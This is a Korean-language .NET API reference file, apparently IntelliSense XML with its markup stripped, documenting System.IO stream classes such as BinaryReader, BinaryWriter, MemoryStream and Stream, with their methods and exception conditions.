+ + + 현재 스트림에서 다음 문자를 읽고 사용된 Encoding과 스트림에서 읽어오는 특정 문자의 길이만큼 스트림의 현재 위치를 앞으로 이동합니다. + 현재 스트림에서 읽은 문자입니다. + 스트림의 끝에 도달한 경우 + 스트림이 닫혀 있는 경우 + I/O 오류가 발생하는 경우 + 서로게이트 문자를 읽은 경우 + 2 + + + 현재 스트림에서 지정된 문자 수만큼 읽어 문자 배열로 데이터를 반환하고, 사용된 Encoding과 스트림에서 읽어 오는 특정 문자의 길이만큼 현재 위치를 앞으로 이동합니다. + 내부 스트림에서 읽은 데이터를 포함하는 문자 배열입니다.이 문자 배열은 스트림의 끝에 도달할 경우 요청된 문자 수보다 작을 수 있습니다. + 읽을 문자 수입니다. + 읽을 수 있도록 디코딩된 문자의 수는 보다 큽니다.유니코드 디코더가 대체 문자 또는 서로게이트 쌍을 반환하는 경우 이 문제가 발생할 수 있습니다. + 스트림이 닫혀 있는 경우 + I/O 오류가 발생하는 경우 + + 가 음수인 경우 + 2 + + + 현재 스트림에서 10진 값을 읽고 스트림의 현재 위치를 16바이트 앞으로 이동합니다. + 현재 스트림에서 읽은 10진 값입니다. + 스트림의 끝에 도달한 경우 + 스트림이 닫혀 있는 경우 + I/O 오류가 발생하는 경우 + 2 + + + 현재 스트림에서 8바이트 부동 소수점 값을 읽고 스트림의 현재 위치를 8바이트 앞으로 이동합니다. + 현재 스트림에서 읽은 8바이트 부동 소수점 값입니다. + 스트림의 끝에 도달한 경우 + 스트림이 닫혀 있는 경우 + I/O 오류가 발생하는 경우 + 2 + + + 현재 스트림에서 부호 있는 2바이트 정수를 읽고 스트림의 현재 위치를 2바이트 앞으로 이동합니다. + 현재 스트림에서 읽은 부호 있는 2바이트 정수입니다. + 스트림의 끝에 도달한 경우 + 스트림이 닫혀 있는 경우 + I/O 오류가 발생하는 경우 + 2 + + + 현재 스트림에서 부호 있는 4바이트 정수를 읽고 스트림의 현재 위치를 4바이트 앞으로 이동합니다. + 현재 스트림에서 읽은 부호 있는 4바이트 정수입니다. + 스트림의 끝에 도달한 경우 + 스트림이 닫혀 있는 경우 + I/O 오류가 발생하는 경우 + 2 + + + 현재 스트림에서 부호 있는 8바이트 정수를 읽고 스트림의 현재 위치를 8바이트 앞으로 이동합니다. + 현재 스트림에서 읽은 부호 있는 8바이트 정수입니다. + 스트림의 끝에 도달한 경우 + 스트림이 닫혀 있는 경우 + I/O 오류가 발생하는 경우 + 2 + + + 현재 스트림에서 부호 있는 바이트를 읽고 스트림의 현재 위치를 1바이트 앞으로 이동합니다. + 현재 스트림에서 읽은 부호 있는 바이트입니다. + 스트림의 끝에 도달한 경우 + 스트림이 닫혀 있는 경우 + I/O 오류가 발생하는 경우 + 2 + + + 현재 스트림에서 4바이트 부동 소수점 값을 읽고 스트림의 현재 위치를 4바이트 앞으로 이동합니다. + 현재 스트림에서 읽은 4바이트 부동 소수점 값입니다. + 스트림의 끝에 도달한 경우 + 스트림이 닫혀 있는 경우 + I/O 오류가 발생하는 경우 + 2 + + + 현재 스트림에서 문자열을 읽습니다.한 번에 7비트 정수로 인코드된 길이는 해당 문자열의 접두사로 붙습니다. + 읽어 오는 문자열입니다. + 스트림의 끝에 도달한 경우 + 스트림이 닫혀 있는 경우 + I/O 오류가 발생하는 경우 + 2 + + + little-endian 인코딩을 사용하여 현재 스트림에서 부호 없는 2바이트 정수를 읽고 스트림의 위치를 2바이트 앞으로 이동합니다. + 현재 스트림에서 읽은 부호 없는 2바이트 정수입니다. + 스트림의 끝에 도달한 경우 + 스트림이 닫혀 있는 경우 + I/O 오류가 발생하는 경우 + 2 + + + 현재 스트림에서 부호 없는 4바이트 정수를 읽고 스트림의 위치를 4바이트 앞으로 이동합니다. + 현재 스트림에서 읽은 부호 없는 4바이트 정수입니다. + 스트림의 끝에 도달한 경우 + 스트림이 닫혀 있는 경우 + I/O 오류가 발생하는 경우 + 2 + + + 현재 스트림에서 부호 없는 8바이트 정수를 읽고 스트림의 위치를 8바이트 앞으로 이동합니다. + 현재 스트림에서 읽은 부호 없는 8바이트 정수입니다. + 스트림의 끝에 도달한 경우 + I/O 오류가 발생하는 경우 + 스트림이 닫혀 있는 경우 + 2 + + + 기본 이진 형식을 스트림에 쓰고 특정 인코딩으로 된 문자열 쓰기를 지원합니다. + 2 + + + 스트림에 쓰는 클래스의 새 인스턴스를 초기화합니다. + + + 지정된 스트림을 기반으로 UTF-8 인코딩을 사용하여 클래스의 새 인스턴스를 초기화합니다. + 출력 스트림입니다. + 스트림이 쓰기를 지원하지 않거나 이미 닫힌 경우 + + 가 null입니다. + + + 지정된 스트림과 문자 인코딩을 기반으로 클래스의 새 인스턴스를 초기화합니다. + 출력 스트림입니다. + 사용할 문자 인코딩입니다. + 스트림이 쓰기를 지원하지 않거나 이미 닫힌 경우 + + 또는 이 null인 경우 + + + 지정된 스트림과 문자 인코딩을 기반으로 클래스의 새 인스턴스를 초기화하며, 선택적으로 스트림을 연 상태로 둘 수 있습니다. + 출력 스트림입니다. + 사용할 문자 인코딩입니다. + + 개체를 삭제한 후 스트림을 열어 두려면 true이고, 그렇지 않으면 false입니다. + 스트림이 쓰기를 지원하지 않거나 이미 닫힌 경우 + + 또는 이 null인 경우 + + + + 의 내부 스트림을 가져옵니다. + BinaryWriter와 관련된 내부 스트림입니다. + 1 + + + + 클래스의 현재 인스턴스에서 사용하는 모든 리소스를 해제합니다. + + + + 에서 사용하는 관리되지 않는 리소스를 해제하고, 관리되는 리소스를 선택적으로 해제합니다. + 관리되는 리소스와 관리되지 않는 리소스를 모두 해제하려면 true로 설정하고, 관리되지 않는 리소스만 해제하려면 false로 설정합니다. + + + 현재 작성기에 대한 모든 버퍼를 지우면 버퍼링된 모든 데이터가 내부 장치에 쓰여집니다. + 1 + + + 백업 저장소가 없는 를 지정합니다. + 1 + + + 내부 스트림을 보유합니다. + + + 현재 스트림 내에서 위치를 설정합니다. + 현재 스트림에서의 위치입니다. + + 에 상대적인 바이트 오프셋입니다. + 새 위치를 가져올 참조 위치를 나타내는 의 필드입니다. + 파일 포인터가 잘못된 위치로 이동한 경우 + + 값이 잘못된 경우 + 1 + + + false를 나타내는 0과 true를 나타내는 1을 사용하여 1바이트 Boolean 값을 현재 스트림에 씁니다. + 쓸 Boolean 값(0 또는 1)입니다. + I/O 오류가 발생하는 경우 + 스트림이 닫혀 있는 경우 + 1 + + + 부호 없는 바이트를 현재 스트림에 쓰고 스트림 위치를 1바이트씩 앞으로 이동합니다. + 쓸 부호 없는 바이트입니다. + I/O 오류가 발생하는 경우 + 스트림이 닫혀 있는 경우 + 1 + + + 내부 스트림에 바이트 배열을 씁니다. + 쓸 데이터를 포함하는 바이트 배열입니다. + I/O 오류가 발생하는 경우 + 스트림이 닫혀 있는 경우 + + 가 null입니다. + 1 + + + 현재 스트림에 바이트 배열 영역을 씁니다. + 쓸 데이터를 포함하는 바이트 배열입니다. + 쓰기를 시작할 의 시작점입니다. + 쓸 바이트 수입니다. + 버퍼 길이에서 를 빼면 보다 작은 경우 + + 가 null입니다. + + 또는 가 음수인 경우 + I/O 오류가 발생하는 경우 + 스트림이 닫혀 있는 경우 + 1 + + + 유니코드 문자를 현재 스트림에 쓴 다음 사용된 Encoding과 스트림에 쓰여지는 특정 문자의 길이만큼 스트림의 현재 위치를 앞으로 이동합니다. + 쓰려고 하는 서로게이트가 아닌 유니코드 문자입니다. + I/O 오류가 발생하는 경우 + 스트림이 닫혀 있는 경우 + + 가 단일 서로게이트 문자인 경우 + 1 + + + 문자 배열을 현재 스트림에 쓴 다음 사용된 Encoding과 스트림에 쓰여지는 특정 문자의 길이만큼 스트림의 현재 위치를 앞으로 이동합니다. + 쓸 데이터를 포함하는 문자 배열입니다. + + 가 null입니다. + 스트림이 닫혀 있는 경우 + I/O 오류가 발생하는 경우 + 1 + + + 문자 배열 섹션을 현재 스트림에 쓴 다음 사용된 Encoding과 스트림에 쓰여지는 특정 문자의 길이만큼 스트림의 현재 위치를 앞으로 이동합니다. + 쓸 데이터를 포함하는 문자 배열입니다. + 쓰기를 시작할 의 시작점입니다. + 쓸 문자 수입니다. + 버퍼 길이에서 를 빼면 보다 작은 경우 + + 가 null입니다. + + 또는 가 음수인 경우 + I/O 오류가 발생하는 경우 + 스트림이 닫혀 있는 경우 + 1 + + + 10진 값을 현재 스트림에 쓰고 스트림 위치를 16바이트씩 앞으로 이동합니다. + 출력할 10진수 값입니다. + I/O 오류가 발생하는 경우 + 스트림이 닫혀 있는 경우 + 1 + + + 8바이트 부동 소수점 값을 현재 스트림에 쓰고 스트림 위치를 8바이트씩 앞으로 이동합니다. + 쓸 8바이트 부동 소수점 값입니다. + I/O 오류가 발생하는 경우 + 스트림이 닫혀 있는 경우 + 1 + + + 2바이트 부호 있는 정수를 현재 스트림에 쓰고 스트림 위치를 2바이트씩 앞으로 이동합니다. + 쓸 2바이트 부호 있는 정수입니다. + I/O 오류가 발생하는 경우 + 스트림이 닫혀 있는 경우 + 1 + + + 4바이트 부호 있는 정수를 현재 스트림에 쓰고 스트림 위치를 4바이트씩 앞으로 이동합니다. + 쓸 4바이트 부호 있는 정수입니다. + I/O 오류가 발생하는 경우 + 스트림이 닫혀 있는 경우 + 1 + + + 8바이트 부호 있는 정수를 현재 스트림에 쓰고 스트림 위치를 8바이트씩 앞으로 이동합니다. + 쓸 8바이트 부호 있는 정수입니다. + I/O 오류가 발생하는 경우 + 스트림이 닫혀 있는 경우 + 1 + + + 부호 있는 바이트를 현재 스트림에 쓰고 스트림 위치를 1바이트씩 앞으로 이동합니다. + 쓸 부호 있는 바이트입니다. + I/O 오류가 발생하는 경우 + 스트림이 닫혀 있는 경우 + 1 + + + 4바이트 부동 소수점 값을 현재 스트림에 쓰고 스트림 위치를 4바이트씩 앞으로 이동합니다. + 쓸 4바이트 부동 소수점 값입니다. + I/O 오류가 발생하는 경우 + 스트림이 닫혀 있는 경우 + 1 + + + + 의 현재 인코딩으로 된 이 스트림에 문자열의 길이가 맨 앞에 나오는 문자열을 쓴 다음 사용된 인코딩과 스트림에 쓰여지는 특정 문자의 길이만큼 스트림의 현재 위치를 앞으로 이동합니다. + 쓸 값입니다. + I/O 오류가 발생하는 경우 + + 가 null입니다. + 스트림이 닫혀 있는 경우 + 1 + + + 2바이트 부호 없는 정수를 현재 스트림에 쓰고 스트림 위치를 2바이트씩 앞으로 이동합니다. + 쓸 2바이트 부호 없는 정수입니다. + I/O 오류가 발생하는 경우 + 스트림이 닫혀 있는 경우 + 1 + + + 4바이트 부호 없는 정수를 현재 스트림에 쓰고 스트림 위치를 4바이트씩 앞으로 이동합니다. + 쓸 4바이트 부호 없는 정수입니다. + I/O 오류가 발생하는 경우 + 스트림이 닫혀 있는 경우 + 1 + + + 8바이트 부호 없는 정수를 현재 스트림에 쓰고 스트림 위치를 8바이트씩 앞으로 이동합니다. + 쓸 8바이트 부호 없는 정수입니다. + I/O 오류가 발생하는 경우 + 스트림이 닫혀 있는 경우 + 1 + + + 압축 형식의 32비트 정수를 씁니다. + 쓸 32비트 정수입니다. + 스트림의 끝에 도달한 경우 + 스트림이 닫혀 있는 경우 + 스트림이 닫혀 있는 경우 + + + 읽을 때 throw되는 예외가 스트림의 끝을 지나 시도됩니다. + 2 + + + 시스템에서 제공되는 메시지로 설정된 메시지 문자열과 COR_E_ENDOFSTREAM으로 설정된 HRESULT를 사용하여 클래스의 새 인스턴스를 초기화합니다. + + + + 로 설정된 메시지 문자열과 COR_E_ENDOFSTREAM으로 설정된 HRESULT를 사용하여 클래스의 새 인스턴스를 초기화합니다. + 오류를 설명하는 문자열입니다. 내용은 사용자의 이해를 돕기 위한 것입니다.이 생성자의 호출자는 이 문자열이 현재 시스템 문화권에 맞게 지역화되었는지 확인하는 데 필요합니다. + + + 지정된 오류 메시지와 해당 예외의 근본 원인인 내부 예외에 대한 참조를 사용하여 클래스의 새 인스턴스를 초기화합니다. + 오류를 설명하는 문자열입니다. 내용은 사용자의 이해를 돕기 위한 것입니다.이 생성자의 호출자는 이 문자열이 현재 시스템 문화권에 맞게 지역화되었는지 확인하는 데 필요합니다. + 현재 예외의 원인이 되는 예외입니다. 매개 변수가 null이 아니면 현재 예외는 내부 예외를 처리하는 catch 블록에서 발생합니다. + + + 데이터 스트림의 형식이 잘못된 경우 throw되는 예외입니다. + + + + 클래스의 새 인스턴스를 초기화합니다. + + + 지정된 오류 메시지를 사용하여 클래스의 새 인스턴스를 초기화합니다. + 예외에 대한 이유를 설명하는 오류 메시지입니다. + + + 이 예외의 원인인 내부 예외에 대한 참조를 사용하여 클래스의 새 인스턴스를 초기화합니다. + 예외에 대한 이유를 설명하는 오류 메시지입니다. + 현재 예외의 원인이 되는 예외입니다. 매개 변수가 null이 아니면 현재 예외는 내부 예외를 처리하는 catch 블록에서 발생합니다. + + + 백업 저장소가 메모리인 스트림을 만듭니다.이 형식에 대 한.NET Framework 소스 코드를 찾아보려면 참조는 Reference Source. + 2 + + + 0으로 초기화된 확장 가능한 용량을 사용하여 클래스의 새 인스턴스를 초기화합니다. + + + 지정된 바이트 배열을 기반으로 하는 클래스의 크기 조정이 불가능한 새 인스턴스를 초기화합니다. + 현재 스트림을 만들 부호 없는 바이트의 배열입니다. + + 가 null인 경우 + + + 지정된 대로 설정된 속성을 사용하여 지정된 바이트 배열을 기반으로 하는 클래스의 크기 조정이 불가능한 새 인스턴스를 초기화합니다. + 이 스트림을 만들 부호 없는 바이트의 배열입니다. + 스트림이 쓰기를 지원하는지 여부를 결정하는 속성의 설정입니다. + + 가 null인 경우 + + + 바이트 배열의 지정된 영역(인덱스)을 기반으로 하는 클래스의 크기 조정이 불가능한 새 인스턴스를 초기화합니다. + 이 스트림을 만들 부호 없는 바이트의 배열입니다. + 스트림이 시작될 의 인덱스입니다. + 스트림의 길이(바이트)입니다. + + 가 null인 경우 + + 또는 가 0보다 작은 경우 + 버퍼 길이에서 를 빼면 보다 작은 경우 + + + 지정된 대로 설정된 속성을 사용하여 지정된 바이트 배열의 영역을 기반으로 하는 클래스의 크기 조정이 불가능한 새 인스턴스를 초기화합니다. + 이 스트림을 만들 부호 없는 바이트의 배열입니다. + 스트림이 시작될 의 인덱스입니다. + 스트림의 길이(바이트)입니다. + 스트림이 쓰기를 지원하는지 여부를 결정하는 속성의 설정입니다. + + 가 null인 경우 + + 또는 가 음수인 경우 + 버퍼 길이에서 를 빼면 보다 작은 경우 + + + 지정된 대로 설정된 속성과 지정된 대로 설정된 호출 기능을 사용하여 지정된 바이트 배열의 영역을 기반으로 하는 클래스의 새 인스턴스를 초기화합니다. + 이 스트림을 만들 부호 없는 바이트의 배열입니다. + 스트림이 시작될 의 인덱스입니다. + 스트림의 길이(바이트)입니다. + 스트림이 쓰기를 지원하는지 여부를 결정하는 속성의 설정입니다. + 스트림을 만든 부호 없는 바이트 배열을 반환하는 를 사용하도록 설정하려면 true이고, 설정하지 않으려면 false입니다. + + 가 null인 경우 + + 또는 가 음수인 경우 + 버퍼 길이에서 를 빼면 보다 작은 경우 + + + 지정된 대로 초기화된 확장 가능한 용량을 사용하여 클래스의 새 인스턴스를 초기화합니다. + 내부 배열의 초기 크기(바이트)입니다. + + 가 음수인 경우 + + + 현재 스트림이 읽기를 지원하는지를 나타내는 값을 가져옵니다. + 스트림이 열려 있으면 true입니다. + 2 + + + 현재 스트림이 검색을 지원하는지를 나타내는 값을 가져옵니다. + 스트림이 열려 있으면 true입니다. + 2 + + + 현재 스트림이 쓰기를 지원하는지를 나타내는 값을 가져옵니다. + 스트림이 쓰기를 지원하면 true이고, 지원하지 않으면 false입니다. + 2 + + + 이 스트림에 할당된 바이트 수를 가져오거나 설정합니다. + 버퍼에서 스트림에 대해 사용할 수 있는 부분의 길이입니다. + 음수 또는 스트림의 현재 길이보다 작은 용량이 설정되어 있는 경우 + 현재 스트림이 닫혀 있는 경우 + 용량을 수정할 수 없는 스트림에 set이 호출되는 경우 + 2 + + + 현재 스트림에서 모든 바이트를 비동기적으로 읽어 지정된 버퍼 크기 및 취소 토큰을 사용하여 다른 스트림에 씁니다. + 비동기 복사 작업을 나타내는 작업입니다. + 현재 스트림의 내용을 복사할 스트림입니다. + 버퍼의 크기(바이트)입니다.이 값은 0보다 커야 합니다. + 취소 요청을 모니터링할 토큰입니다. + + 가 null인 경우 + + 가 음수이거나 0인 경우 + 현재 스트림이나 대상 스트림이 삭제됩니다. + 현재 스트림이 읽기를 지원하지 않거나 대상 스트림이 쓰기를 지원하지 않습니다. + + + + 클래스에 사용되는 관리되지 않는 리소스를 해제하고, 필요에 따라 관리되는 리소스를 해제합니다. + 관리되는 리소스와 관리되지 않는 리소스를 모두 해제하려면 true로 설정하고, 관리되지 않는 리소스만 해제하려면 false로 설정합니다. + + + + 메서드를 재정의하여 아무런 작업도 수행되지 않도록 합니다. + 2 + + + 이 스트림에 대한 모든 버퍼를 비동기적으로 지우고 취소 요청을 모니터링합니다. + 비동기 플러시 작업을 나타내는 작업입니다. + 취소 요청을 모니터링할 토큰입니다. + 스트림이 삭제된 경우 + + + 스트림의 길이(바이트)를 가져옵니다. + 스트림의 길이(바이트)입니다. + 스트림이 닫혀 있는 경우 + 2 + + + 스트림 내의 현재 위치를 가져오거나 설정합니다. + 스트림 내의 현재 위치입니다. + 위치가 음수 값이나 보다 큰 값으로 설정된 경우 + 스트림이 닫혀 있는 경우 + 2 + + + 현재 스트림에서 바이트 블록을 읽어서 버퍼에 씁니다. + 버퍼로 쓴 총 바이트 수입니다.해당 바이트 수를 현재 사용할 수 없는 경우 이 수는 요청된 바이트 수보다 작을 수 있으며 바이트를 읽기 전에 스트림의 끝에 도달한 경우에는 0이 될 수도 있습니다. + 이 메서드는 지정된 바이트 배열의 값이 및 ( + - 1) 사이에서 현재 스트림으로부터 읽은 문자로 교체된 상태로 반환됩니다. + 현재 스트림에서 데이터를 저장하기 시작할 의 바이트 오프셋(0부터 시작)입니다. + 읽을 최대 바이트 수입니다. + + 가 null인 경우 + + 또는 가 음수인 경우 + 버퍼 길이에서 을 빼면 보다 작은 경우 + 현재 스트림 인스턴스가 닫혀 있는 경우 + 2 + + + 현재 스트림에서 바이트의 시퀀스를 비동기적으로 읽고 읽은 바이트 수만큼 스트림 내에서 앞으로 이동하며 취소 요청을 모니터링합니다. + 비동기 읽기 작업을 나타내는 작업입니다. 매개 변수의 값은 버퍼 안으로 읽어들인 총 바이트 수를 포함합니다.현재 사용할 수 있는 바이트 수가 요청된 수보다 작을 경우 결과 값이 요청된 바이트 수보다 작을 수 있으며 스트림의 끝에 도달한 경우에는 0이 될 수도 있습니다. + 데이터를 쓸 버퍼입니다. + 스트림의 데이터를 쓰기 시작할 의 바이트 오프셋입니다. + 읽을 최대 바이트 수입니다. + 취소 요청을 모니터링할 토큰입니다.기본값은 입니다. + + 가 null인 경우 + + 또는 가 음수인 경우 + + 와 의 합계가 버퍼 길이보다 큰 경우 + 스트림이 읽기를 지원하지 않습니다. + 스트림이 삭제된 경우 + 이전 읽기 작업에서 현재 스트림을 사용하고 있습니다. + + + 현재 스트림에서 바이트를 읽습니다. + + 로 캐스팅된 바이트이거나 스트림의 끝에 도달한 경우 -1입니다. + 현재 스트림 인스턴스가 닫혀 있는 경우 + 2 + + + 현재 스트림 내의 위치를 지정된 값으로 설정합니다. + 초기 참조 지점과 오프셋을 조합해서 계산한, 스트림 내의 새 위치입니다. + 스트림 내의 새 위치입니다.이 위치는 매개 변수와 관련되며 양수와 음수 모두 가능합니다. + 검색 참조 지점 역할을 하는 형식의 값입니다. + 스트림의 시작 전에 검색하려고 한 경우 + + 가 보다 큰 경우 + 잘못된 이 있는 경우 또는이 산술 연산 오버플로를 발생시킨 경우 + 현재 스트림 인스턴스가 닫혀 있는 경우 + 2 + + + 현재 스트림의 길이를 지정된 값으로 설정합니다. + 길이를 설정할 값입니다. + 현재 스트림의 크기를 조정할 수 없으며 가 현재 용량보다 큰 경우또는 현재 스트림이 쓰기를 지원하지 않는 경우 + + 가 음수이거나 의 최대 길이보다 큰 경우. 여기서 최대 길이는 - origin입니다. origin은 스트림이 시작되는 내부 버퍼의 인덱스입니다. + 2 + + + + 속성에 관계없이 바이트 배열에 스트림 내용을 씁니다. + 새 바이트 배열입니다. + 2 + + + 이 스트림을 만드는 데 사용된 부호 없는 바이트의 배열을 반환합니다.반환 값은 변환의 성공 여부를 나타냅니다. + 성공적으로 변환되면 true이고, 그렇지 않으면 false입니다. + 이 스트림을 만든 바이트 배열 세그먼트입니다. + + + 버퍼에서 읽은 데이터를 사용하여 현재 스트림에 바이트 블록을 씁니다. + 데이터를 쓸 버퍼입니다. + 현재 스트림으로 바이트를 복사하기 시작할 의 바이트 오프셋(0부터 시작)입니다. + 쓸 최대 바이트 수입니다. + + 가 null인 경우 + 스트림이 쓰기를 지원하지 않습니다.자세한 내용은 를 참조하십시오.또는 현재 위치가 스트림의 끝에서 바이트보다 가까우며 용량을 수정할 수 없는 경우 + 버퍼 길이에서 을 빼면 보다 작은 경우 + + 또는 가 음수인 경우 + I/O 오류가 발생하는 경우 + 현재 스트림 인스턴스가 닫혀 있는 경우 + 2 + + + 바이트의 시퀀스를 현재 스트림에 비동기적으로 쓰고 쓰여진 바이트 수만큼 이 스트림 내의 현재 위치를 앞으로 이동한 후 취소 요청을 모니터링합니다. + 비동기 쓰기 작업을 나타내는 작업입니다. + 데이터를 쓸 버퍼입니다. + 스트림으로 바이트를 복사하기 시작할 의 바이트 오프셋(0부터 시작)입니다. + 쓸 최대 바이트 수입니다. + 취소 요청을 모니터링할 토큰입니다.기본값은 입니다. + + 가 null인 경우 + + 또는 가 음수인 경우 + + 와 의 합계가 버퍼 길이보다 큰 경우 + 스트림이 쓰기를 지원하지 않습니다. + 스트림이 삭제된 경우 + 이전 쓰기 작업에서 현재 스트림을 사용하고 있습니다. + + + 현재 위치에서 현재 스트림에 바이트를 씁니다. + 쓸 바이트입니다. + 스트림이 쓰기를 지원하지 않습니다.자세한 내용은 를 참조하십시오.또는 현재 위치가 스트림의 끝에 있으며 용량을 수정할 수 없는 경우 + 현재 스트림이 닫혀 있는 경우 + 2 + + + 다른 스트림에 이 메모리 스트림의 전체 내용을 씁니다. + 이 메모리 스트림을 쓸 스트림입니다. + + 가 null인 경우 + 현재 스트림이나 대상 스트림이 닫혀 있는 경우 + 2 + + + 탐색에 사용할 스트림 내 위치를 지정합니다. + 2 + + + 스트림의 맨 앞을 지정합니다. + + + 스트림 내의 현재 위치를 지정합니다. + + + 스트림의 맨 끝을 지정합니다. + + + 바이트 시퀀스에 대한 일반 뷰를 제공합니다.이 클래스는 추상 클래스입니다.이 형식에 대 한.NET Framework 소스 코드를 찾아보려면 참조는 Reference Source. + 2 + + + + 클래스의 새 인스턴스를 초기화합니다. + + + 파생 클래스에서 재정의되면 현재 스트림이 읽기를 지원하는지를 나타내는 값을 가져옵니다. + 스트림이 읽기를 지원하면 true이고, 지원하지 않으면 false입니다. + 1 + + + 파생 클래스에서 재정의되면 현재 스트림이 검색을 지원하는지를 나타내는 값을 가져옵니다. + 스트림이 검색을 지원하면 true이고, 지원하지 않으면 false입니다. + 1 + + + 현재 스트림이 시간 초과될 수 있는지를 결정하는 값을 가져옵니다. + 현재 스트림이 시간 초과될 수 있는지를 결정하는 값입니다. + 2 + + + 파생 클래스에서 재정의되면 현재 스트림이 쓰기를 지원하는지를 나타내는 값을 가져옵니다. + 스트림이 쓰기를 지원하면 true이고, 지원하지 않으면 false입니다. + 1 + + + 현재 스트림에서 바이트를 읽어서 다른 스트림에 해당 바이트를 씁니다. + 현재 스트림의 내용을 복사할 스트림입니다. + + 가 null인 경우 + 현재 스트림이 읽기를 지원하지 않는 경우또는이 쓰기를 지원하지 않는 경우 + + 메서드가 호출되기 전에 현재 스트림 또는 이 닫힌 경우 + I/O 오류가 발생하는 경우 + + + 현재 스트림에서 바이트를 읽어서 지정된 버퍼 크기로 다른 스트림에 씁니다. + 현재 스트림의 내용을 복사할 스트림입니다. + 버퍼의 크기입니다.이 값은 0보다 커야 합니다.기본 크기는 81920입니다. + + 가 null인 경우 + + 가 음수이거나 0인 경우 + 현재 스트림이 읽기를 지원하지 않는 경우또는이 쓰기를 지원하지 않는 경우 + + 메서드가 호출되기 전에 현재 스트림 또는 이 닫힌 경우 + I/O 오류가 발생하는 경우 + + + 현재 스트림에서 모든 바이트를 비동기적으로 읽어 다른 스트림에 씁니다. + 비동기 복사 작업을 나타내는 작업입니다. + 현재 스트림의 내용을 복사할 스트림입니다. + + 가 null인 경우 + 현재 스트림이나 대상 스트림이 삭제됩니다. + 현재 스트림이 읽기를 지원하지 않거나 대상 스트림이 쓰기를 지원하지 않습니다. + + + 현재 스트림에서 바이트를 비동기적으로 읽어 지정된 버퍼 크기로 다른 스트림에 씁니다. + 비동기 복사 작업을 나타내는 작업입니다. + 현재 스트림의 내용을 복사할 스트림입니다. + 버퍼의 크기(바이트)입니다.이 값은 0보다 커야 합니다.기본 크기는 81920입니다. + + 가 null인 경우 + + 가 음수이거나 0인 경우 + 현재 스트림이나 대상 스트림이 삭제됩니다. + 현재 스트림이 읽기를 지원하지 않거나 대상 스트림이 쓰기를 지원하지 않습니다. + + + 현재 스트림에서 바이트를 비동기적으로 읽어 지정된 버퍼 크기 및 취소 토큰을 사용하여 다른 스트림에 씁니다. + 비동기 복사 작업을 나타내는 작업입니다. + 현재 스트림의 내용을 복사할 스트림입니다. + 버퍼의 크기(바이트)입니다.이 값은 0보다 커야 합니다.기본 크기는 81920입니다. + 취소 요청을 모니터링할 토큰입니다.기본값은 입니다. + + 가 null인 경우 + + 가 음수이거나 0인 경우 + 현재 스트림이나 대상 스트림이 삭제됩니다. + 현재 스트림이 읽기를 지원하지 않거나 대상 스트림이 쓰기를 지원하지 않습니다. + + + + 에서 사용하는 모든 리소스를 해제합니다. + + + + 가 사용하는 관리되지 않는 리소스를 해제하고, 관리되는 리소스를 선택적으로 해제합니다. + 관리되는 리소스와 관리되지 않는 리소스를 모두 해제하려면 true로 설정하고, 관리되지 않는 리소스만 해제하려면 false로 설정합니다. + + + 파생 클래스에서 재정의되면 이 스트림에 대해 모든 버퍼를 지우고 버퍼링된 데이터가 내부 장치에 쓰여지도록 합니다. + I/O 오류가 발생하는 경우 + 2 + + + 이 스트림에 대한 모든 버퍼를 비동기적으로 지우고 버퍼링된 모든 데이터가 내부 장치에 비동기적으로 쓰여지도록 합니다. + 비동기 플러시 작업을 나타내는 작업입니다. + 스트림이 삭제된 경우 + + + 이 스트림에 대해 모든 버퍼를 비동기적으로 지우고 버퍼링된 데이터가 내부 장치에 쓰여지도록 하고 취소 요청을 모니터링합니다. + 비동기 플러시 작업을 나타내는 작업입니다. + 취소 요청을 모니터링할 토큰입니다.기본값은 입니다. + 스트림이 삭제된 경우 + + + 파생 클래스에서 재정의되면 스트림 바이트의 길이를 가져옵니다. + 스트림 길이(바이트)를 나타내는 long 값입니다. + Stream에서 파생된 클래스가 검색을 지원하지 않는 경우 + 스트림이 닫힌 후 메서드가 호출된 경우 + 1 + + + 백업 저장소가 없는 Stream입니다. + 1 + + + 파생 클래스에서 재정의되면 현재 스트림 내의 위치를 가져오거나 설정합니다. + 스트림 내의 현재 위치입니다. + I/O 오류가 발생하는 경우 + 스트림이 검색을 지원하지 않는 경우 + 스트림이 닫힌 후 메서드가 호출된 경우 + 1 + + + 파생 클래스에서 재정의되면 현재 스트림에서 바이트의 시퀀스를 읽고, 읽은 바이트 수만큼 스트림 내에서 앞으로 이동합니다. + 버퍼로 읽어온 총 바이트 수입니다.이 바이트 수는 현재 바이트가 충분하지 않은 경우 요청된 바이트 수보다 작을 수 있으며 스트림의 끝에 도달하면 0이 됩니다. + 바이트 배열입니다.이 메서드가 반환될 때 버퍼에는 지정된 바이트 배열의 값이 및 ( + - 1) 사이에서 현재 원본으로부터 읽어온 바이트로 교체된 상태로 포함됩니다. + 현재 스트림에서 읽은 데이터를 저장하기 시작하는 의 바이트 오프셋(0부터 시작)입니다. + 현재 스트림에서 읽을 최대 바이트 수입니다. + + 와 의 합계가 버퍼 길이보다 큰 경우 + + 가 null인 경우 + + 또는 가 음수인 경우 + I/O 오류가 발생하는 경우 + 스트림이 읽기를 지원하지 않습니다. + 스트림이 닫힌 후 메서드가 호출된 경우 + 1 + + + 현재 스트림에서 바이트 시퀀스를 읽고 읽은 바이트 수만큼 스트림에서 위치를 비동기적으로 앞으로 이동합니다. + 비동기 읽기 작업을 나타내는 작업입니다. 매개 변수의 값은 버퍼 안으로 읽어들인 총 바이트 수를 포함합니다.현재 사용할 수 있는 바이트 수가 요청된 수보다 작을 경우 결과 값이 요청된 바이트 수보다 작을 수 있으며 스트림의 끝에 도달한 경우에는 0이 될 수도 있습니다. + 데이터를 쓸 버퍼입니다. + 스트림의 데이터를 쓰기 시작할 의 바이트 오프셋입니다. + 읽을 최대 바이트 수입니다. + + 가 null인 경우 + + 또는 가 음수인 경우 + + 와 의 합계가 버퍼 길이보다 큰 경우 + 스트림이 읽기를 지원하지 않습니다. + 스트림이 삭제된 경우 + 이전 읽기 작업에서 현재 스트림을 사용하고 있습니다. + + + 현재 스트림에서 바이트의 시퀀스를 비동기적으로 읽고 읽은 바이트 수만큼 스트림 내에서 앞으로 이동하며 취소 요청을 모니터링합니다. + 비동기 읽기 작업을 나타내는 작업입니다. 매개 변수의 값은 버퍼 안으로 읽어들인 총 바이트 수를 포함합니다.현재 사용할 수 있는 바이트 수가 요청된 수보다 작을 경우 결과 값이 요청된 바이트 수보다 작을 수 있으며 스트림의 끝에 도달한 경우에는 0이 될 수도 있습니다. + 데이터를 쓸 버퍼입니다. + 스트림의 데이터를 쓰기 시작할 의 바이트 오프셋입니다. + 읽을 최대 바이트 수입니다. + 